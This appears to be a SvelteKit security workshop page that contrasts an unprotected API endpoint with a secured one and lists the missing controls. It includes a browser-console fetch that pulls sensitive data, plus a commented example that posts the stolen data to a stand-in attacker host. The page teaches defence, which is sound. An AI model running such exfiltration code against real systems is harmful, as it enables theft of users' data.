SvelteKit Security Workshop

This workshop demonstrates the importance of securing your SvelteKit endpoints by showing both vulnerable and secure implementations.

Vulnerable Example ⚠️

The following code demonstrates how easily an attacker can steal sensitive data from an unsecured endpoint. Paste this into your browser console:

fetch('/api/vulnerable-sensitive')
    .then((r) => r.json())
    .then((data) => {
        console.log('Stolen data:', data);
        // In a real attack, data could be sent to attacker's server:
        // fetch('https://attacker.com/collect', {
        //     method: 'POST',
        //     body: JSON.stringify(data)
        // });
    });

This vulnerable endpoint (/api/vulnerable-sensitive) has several security issues:

1. No authentication check - anyone can access it
2. No authorization check - no role/permission verification
3. Exposes sensitive data directly (API keys, passwords, etc.)
4. No rate limiting to prevent abuse
5. No audit logging of access attempts

Secure Example ✅

Here's how the same endpoint should be properly secured (/api/sensitive):

// This will fail as expected due to security measures
fetch('/api/sensitive')
    .then((r) => r.json())
    .then((data) => console.log('Data:', data))
    .catch((err) => console.error('Access denied:', err));

The secure endpoint implements critical security measures:

1. Authentication check - requires valid user session
2. Authorization check - requires admin role
3. Data filtering - removes sensitive fields before sending
4. Rate limiting - prevents brute force attempts
5. Audit logging - tracks access attempts
6. Proper error handling - doesn't leak implementation details

Always implement proper security measures in your SvelteKit applications to protect sensitive data!